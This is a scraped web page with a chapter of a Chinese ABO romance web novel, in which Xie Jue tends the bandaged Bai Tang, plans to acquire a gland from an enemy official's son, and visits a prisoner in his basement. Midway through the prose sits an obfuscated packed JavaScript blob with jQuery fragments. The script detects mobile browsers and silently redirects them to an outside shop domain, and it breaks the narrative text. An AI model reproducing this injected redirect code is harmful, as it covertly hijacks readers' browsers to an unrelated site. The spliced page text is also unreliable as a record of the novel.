文趣网 > 都市小说 > 薄先生与他的小狗[快穿] > 8. 你再说下去
    谢珏想,他知道白棠为什么对他的眼睛有执念。

    因为这副皮囊,只有眼睛,是他自己的。

    是他耗费大量积分,保留下来的身份标识。

    只为白棠说过,最喜欢他的眼睛。

    尤其,是左眼眼尾的那颗小痣。

    他不想白棠找到他时,面对的,是个全然陌生的男人。

    哪怕他完全不知,白棠何时才能重回他的身边。

    他等了一个世界、又一个世界……很多个世界。

    他已经快被愤怒和绝望吞噬。

    终于。

    将他挚爱之人的魂魄,塞进他至恨之人的肮脏皮囊,他当然心有怨恨。

    但,更多的,还是感激。

    感激不尽。

    失而复得的机会,不是谁都能有。

    白棠呆呆地看男人。男人看他的目光有些可怕,似是要把他吃了。

    可他偏觉得,男人要哭了。

    他舍不得男人哭,光是看他这副要哭不哭的模样,就难过得快要死了。

    他想哄哄男人,所以他如实招供:“因为,每次我看向你的眼睛,脑子里,都会冒出一个画面……”

    白棠越说越小声,脸也越来越红。

    他咬住唇瓣垂下眼,第一次,逃避谢珏注视过来的视线。

    “嗯?”谢珏挑了下眉,再次发出那种很惑人的鼻音。他倾身靠近些许,诱惑白棠继续说下去:“什么画面?”

    白棠垂着眼睛,唇瓣咬得更深,脸也更红。

    他是害羞。但他害羞,是因为他在动歪心思。

    他想把脑子里的画面,直接做给谢珏。

    “嗯?”谢珏撩死人不偿命地催促。

    白棠的脑子里,天使和恶魔在疯狂交战。

    男人捏住他的下巴,逼迫他抬起脸来与自己对视:“说。”

    陡然强势的态度,和微微变冷的语气,通常会像一盆冷水,兜头浇灭人的冲动。但对白棠,恰恰相反。

    那是惑人心智的蛊,是血脉奔腾的药。

    “我做给你看,好不好?”他按捺着心跳,鬼使神差。

    男人本是一脸欣然,“好”字已经做出口型。却不知想到了什么,突然变了脸色,就连语气都变得疏离:“好好躺着,不要乱动。”

    白棠觉得,男人绝非在意他的身体,只是不想被他触碰。

    他盯着男人,目光不解、失落、又难过。

    男人动了动嘴唇,终是都没解释,只是缓和了语调催促:“快说。”

    白棠被轻易哄好了。

    他红着脸小声告诉男人:“我看见,我坐在你的腿上,与你面对面,双手捧着你的脸,亲吻你的眼睛……”

    把你的睫毛含在唇间。

    把你眼尾有痣的那片皮肤,吮到发红。

    后两句,鬼使神差的,他没好意思说出口。

    而且谢珏也没给他说出口的机会。

    话说到一半,他就被谢珏捂住了嘴。

    “不要再说了。”

    白棠睁大那双冰蓝色的眼睛,茫然又无辜。

    “你再说下去,我不确定我会对你做什么。”谢珏说。

    白棠下意识抿起嘴唇。可他的唇,就贴着谢珏掌心。

    两个人都感觉,是白棠用唇,嘬了谢珏的掌心。

    谢珏飞快撤手,盯着白棠的目光,似要吃人。

    白棠抿着嘴巴,眨巴眨巴大眼睛,一脸无辜。

    谢珏满心躁郁——他的信息素已经不受控地飙出,而病床上这个原本与他是100%匹配的Omega,却无知无觉。

    是他亲手毁掉的。

    可他没做错。

    谢珏说不清自己是什么心情,只是喉间、头顶,血气翻涌。

    头顶的纯黑数字大雾缭绕,像着了火。

    白棠盯着他的头顶,既害怕又担心。他小声软软道:“薄先生,你是在生我的气吗?”

    深紫色的眸闪了闪,男人深呼吸,神色缓和下来。头顶张牙舞爪的黑雾似乎都随之柔和一些。

    他微微倾身,很认真地盯白棠的眼,很认真地说:

    “我不会生你的气。”

    他似许下什么誓言,再次强调:“永远不会。”

    白棠眨巴眨巴眼睛,嘴巴微微张着,看起来有点呆。

    过了两秒,他倏然绽开灿烂笑容,欢欢喜喜地问:“那我现在可以摸你的眼睛了吗?”

    谢珏喉头一滚,眸色幽深地点头:“嗯。”

    白棠欢天喜地地抬手,谢珏也很合作地俯身靠近。

    然而白棠却在将触未触之时,停住了。

    他的十指,全都缠着纱布。他根本“摸”不到。

    白棠垂下眼睛,抿起嘴巴,将手缩回被子里。

    谢珏喉间的血腥气愈浓。头顶的纯黑数字也再次浓雾熏天。

    白棠的视线被吸引过去,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846775|211750||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    困惑又担忧地盯着。

    谢珏的嘴唇动了动,忽然问:“想亲吗?”

    白棠一愣,睁圆了眼睛,“亲……什么?”

    谢珏抬手,指尖不偏不倚,点在自己左眼眼尾的那颗红色小痣上。

    白棠喉头一滚,发出近乎饥渴的吞咽。

    他点头如捣蒜,晶亮的双眼像看见主人拿出罐头的小狗。

    谢珏却向后一靠,闲闲笑道:“亲和摸是不同的价格。想要得到,就继续努力,嗯?”

    白棠在两腮鼓起两个小包子。

    谢珏这次没再忍耐。他伸手戳了上去。

    “噗。”

    漏气的白棠似是没想到谢珏会做出这么幼稚的举动。他错愕地睁大眼睛。

    谢珏却已经朗声笑了起来,眉目舒展,神采飞扬。

    白棠也跟着笑了起来。但他的笑是纯真的,轻柔的。甚至带着几分宠溺。

    -

    白棠睡着后,谢珏去催促下属。

    腺体信息都是登记在官方数据库里的,怎么四天了还没查到符合条件的腺体?

    可是我们要查的,也不是咱自家数据库啊。

    打工牛马不敢申辩,只能默默腹诽。

    但腹诽过后,又倍感罪恶。

    毕竟,老板付的工钱,填平得了一切辛劳和委屈。

    高薪不养庸人。

    第五天下午,下属就送来了符合条件的腺体信息。

    腺体,当然长在人身上。

    而且这个人,是敌对城邦的高官之子。

    于公于私,事关重大。谢珏盘了盘手下的人,觉得,这事儿得他亲自出马。

    可他不能长时间离开城堡。他不想因为自己照顾不周,刺激到白棠,致使白棠病情加重。

    思来想去,谢珏蓦然想到一个人。一个同样被他关在地下室,差点忘记的人——

    苏锦程的舔狗,杜妄。

    为了苏锦程,杜妄可以不顾一切。

    苏锦程那个贱人跑了,他欠的债,就让被他抛下的狗来还。

    合情合理,不是吗?

    -

    地下室的厚重铁门缓缓开启,细小的灰尘在光束中飞舞。

    红底的黑皮鞋踏过坚硬的水泥地面,发出令人心悸的空荡回响。

    潮湿幽暗的牢房深处,射来一道孤狼般的视线。敏锐、凌厉。

    谢珏在门口站定,唇角微挑:“杜队长,好久不见。”